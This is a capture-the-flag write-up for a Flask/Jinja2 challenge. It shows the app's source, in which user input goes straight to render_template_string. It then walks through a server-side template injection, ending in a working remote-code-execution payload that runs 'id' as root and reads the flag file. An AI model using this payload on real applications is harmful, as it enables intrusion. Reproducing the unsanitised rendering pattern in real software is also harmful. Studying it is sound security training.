Statement: It is so nice to hear Parrot the Emu talk back.
Looking at the application’s source code, I notice that it uses the Flask framework and the Jinja2 template engine :
from flask import Flask, render_template, request, render_template_string
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def vulnerable():
chat_log = []
if request.method == 'POST':
user_input = request.form.get('user_input')
try:
result = render_template_string(user_input)
except Exception as e:
result = str(e)
chat_log.append(('User', user_input))
chat_log.append(('Emu', result))
return render_template('index.html', chat_log=chat_log)
if __name__ == '__main__':
app.run(debug=True, port=80)
I notice that the user input has no sanitising and it’s rendered from Jinja2, so the code is vulnerable to SSTI (Server-Side Template Injection) attack.
In order to validate my analysis, I will send the following payloads through application to confirm my idea :
{{}}
# Expected an expression, got 'end of print statement'
{{7*7}}
# 49
I will then send this payload to perform an RCE (Remote Code Execution) :
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
# uid=0(root) gid=0(root) groups=0(root)
Now all I have to do is read the contents of the flag file to validate the challenge :
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('cat flag').read() }}
# DUCTF{PaRrOt_EmU_ReNdErS_AnYtHiNg}
Flag : DUCTF{PaRrOt_EmU_ReNdErS_AnYtHiNg}
Some interesting sources :